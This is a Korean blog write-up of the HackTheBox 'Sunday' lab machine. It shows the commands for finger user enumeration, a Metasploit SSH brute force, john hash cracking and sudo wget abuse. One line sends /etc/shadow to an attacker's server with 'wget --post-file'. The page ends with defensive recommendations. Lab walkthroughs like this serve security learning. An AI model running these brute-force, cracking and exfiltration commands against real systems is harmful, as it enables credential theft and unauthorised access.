#

Sunday 본문

3.2 HTB/Linux

Sunday

0x470x45 2026. 8. 26. 14:50
 
HackTheBox · Writeup
PLATFORM HackTheBoxOS SolarisDIFFICULTY Easy
finger 유저 열거 → SSH 브루트포스(sunny) → shadow.backup 해시 크랙(sammy) → sudo wget → root
스캔: 79/finger · 111/rpcbind · 515/printer · 22022/ssh · 6787/http (Solaris)  |  도구: finger-user-enum · Metasploit(ssh_login) · john · GTFOBins
개요  Finger(79) 서비스로 SSH 로그인 이력이 있는 sammy·sunny를 열거하고, Metasploit ssh_login으로 sunny를 브루트포스해 22022 SSH에 접속한다. /backup/shadow.backup의 sammy SHA-256 해시를 john으로 크랙(cooldude!)해 sammy로 접속(user.txt). sammy가 비밀번호 없이 쓰는 sudo wget의 -i 옵션으로 /root/root.txt를 에러 메시지로 유출해 root 플래그를 얻는다.
 
HackTheBox Writeup

☀️ Sunday

Solaris 기반 Easy 머신 — Finger 서비스 유저 열거 → SSH 브루트포스 → shadow 파일 해시 크래킹 → sudo 권한 상승

OS: Solaris
난이도: Easy
IP: 10.129.48.62
주요 서비스: Finger, SSH(22022)

Task 1 Finger 서비스가 실행 중인 TCP 포트

nmap으로 스캔하면 79번 포트에서 finger 서비스가 동작 중임을 확인할 수 있다.

nmap -sS -sC -sV --open -T4 sunday.htb
nmap 스캔 결과
nmap — 79/tcp finger, 111/tcp rpcbind, 515/tcp printer 확인
 
ANSWER 79

Task 2 Finger 열거로 발견한 pts 유저 수

finger-user-enum.pl로 유저를 열거한다. SSH 로그인 이력(pts)이 있는 유저만 유효한 계정이다.

# finger-user-enum.pl 다운로드 wget https://raw.githubusercontent.com/pentestmonkey/finger-user-enum/master/finger-user-enum.pl chmod +x finger-user-enum.pl # 유저 열거 실행 ./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.129.48.62 -w 50
finger-user-enum 결과
finger-user-enum — sammy, sunny SSH 로그인 이력 확인
 

pts(SSH) 접속 이력이 있는 유저는 sammy와 sunny 두 명이다.

ANSWER 2 (sammy, sunny)

Task 3 sunny 계정 패스워드

전체 포트 스캔으로 SSH가 22022번 포트에서 동작 중임을 확인한다.

nmap -sV -p- 10.129.48.62 --min-rate 5000
전체 포트 스캔
nmap 전체 스캔 — 22022/tcp SSH, 6787/tcp HTTP 추가 확인
 

Metasploit의 ssh_login 모듈로 sunny 계정을 브루트포스한다.

use auxiliary/scanner/ssh/ssh_login set USERNAME sunny set RHOSTS 10.129.48.62 set RPORT 22022 set PASS_FILE /usr/share/wordlists/rockyou.txt run
Metasploit ssh_login 옵션
Metasploit ssh_login — 모듈 옵션 설정
 
브루트포스 성공
브루트포스 성공 — sunny:sunday 자격증명 획득
 
ANSWER sunday

Task 4 sammy 계정 패스워드

sunny로 SSH 접속 후 /backup 디렉토리에서 shadow.backup 파일을 발견한다.

ssh sunny@10.129.48.62 -p 22022 cd /backup cat shadow.backup
SSH 접속
sunny SSH 접속 — Oracle Solaris 11.4.42.111.0
 
/backup 디렉토리
/backup/shadow.backup — sammy의 SHA-256 해시 발견
 

sammy의 해시를 추출해 john으로 크래킹한다.

echo '$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB' > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john 크래킹 결과
john — SHA-256 해시 크래킹 성공 : cooldude!
 
ANSWER cooldude!

🚩 User Flag

sammy 계정으로 SSH 접속 후 user.txt를 읽는다.

ssh sammy@sunday.htb -p 22022 cat user.txt
User Flag
sammy 홈 디렉토리 — user.txt 획득
 

Task 6 sunny가 sudo로 실행 가능한 바이너리

sudo -l User sunny may run the following commands on sunday: (root) NOPASSWD: /root/troll
sunny sudo -l
sunny sudo -l — /root/troll NOPASSWD 확인
 
ANSWER /root/troll

Task 7 sammy가 sudo로 실행 가능한 바이너리

sudo -l User sammy may run the following commands on sunday: (root) NOPASSWD: /usr/bin/wget
sammy sudo -l
sammy sudo -l — /usr/bin/wget NOPASSWD 확인
 
ANSWER /usr/bin/wget

🏆 Root Flag

wget의 -i 옵션으로 /root/root.txt를 URL로 읽어오면 에러 메시지에 파일 내용이 노출된다.

sudo wget -i /root/root.txt -- http://[ROOT_FLAG_HASH]/ Resolving [ROOT_FLAG_HASH]... failed: temporary name resolution failure.
Root Flag
sudo wget -i /root/root.txt — 에러 메시지로 Root Flag 노출
 

Task 9 wget URL 목록 지정 플래그

ANSWER --input-file (-i)

Task 10 wget POST body 파일 전송 플래그

# shadow 파일을 공격자 서버로 전송 sudo wget --post-file=/etc/shadow http://10.10.15.56:8080/
ANSWER --post-file

Task 11 sudo 설정 파일 경로

ANSWER /etc/sudoers
 

공격 체인 상세

  1. 정찰 — nmap: 79/finger, 111/rpcbind, 515/printer. 전체 스캔으로 22022/ssh, 6787/http 추가 확인.
  2. Finger 유저 열거 — finger-user-enum으로 pts(SSH) 이력이 있는 sammy, sunny 식별.
  3. SSH 브루트포스 — Metasploit ssh_login으로 sunny 브루트포스 → 비밀번호 획득 → ssh sunny(22022, Solaris 11.4).
  4. 해시 크랙 — /backup/shadow.backup에서 sammy SHA-256 해시 추출 → john+rockyou로 cooldude! 복구 → ssh sammy → user.txt.
  5. 권한 상승 — sammy sudo -l = NOPASSWD /usr/bin/wget. sudo wget -i /root/root.txt → 호스트명 해석 실패 에러 메시지에 파일 내용(root 플래그) 노출.

대응 방안

  • Finger 비활성화 — 불필요한 finger(79) 서비스 제거(유저 열거 차단).
  • 강한 비밀번호 & 로그인 보호 — 브루트포스에 강한 비밀번호, SSH 시도 제한.
  • 백업 파일 보호 — /backup/shadow.backup 등 해시 포함 백업 비노출·권한 제한.
  • sudo 최소화 — wget 등 임의 파일 읽기/쓰기 가능한 바이너리에 NOPASSWD 금지.

'3.2 HTB > Linux' 카테고리의 다른 글

Keeper  (0) 2026.08.26
Nibbles  (0) 2026.08.24